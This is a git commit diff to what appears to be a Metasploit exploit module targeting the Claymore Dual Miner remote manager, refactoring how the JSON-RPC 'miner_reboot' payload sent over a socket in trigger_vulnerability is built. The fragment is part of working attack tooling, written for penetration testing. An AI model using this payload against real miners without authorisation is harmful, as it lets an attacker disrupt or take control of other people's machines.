refactor: replace last string with hash

modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb

@@ -96,7 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def trigger_vulnerability
-    execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}'
+    execute = {
+      "id"      => 0,
+      "jsonrpc" => '2.0',
+      "method"  => 'miner_reboot'
+    }.to_json
     connect
     sock.put(execute)
     buf = sock.get_once || ''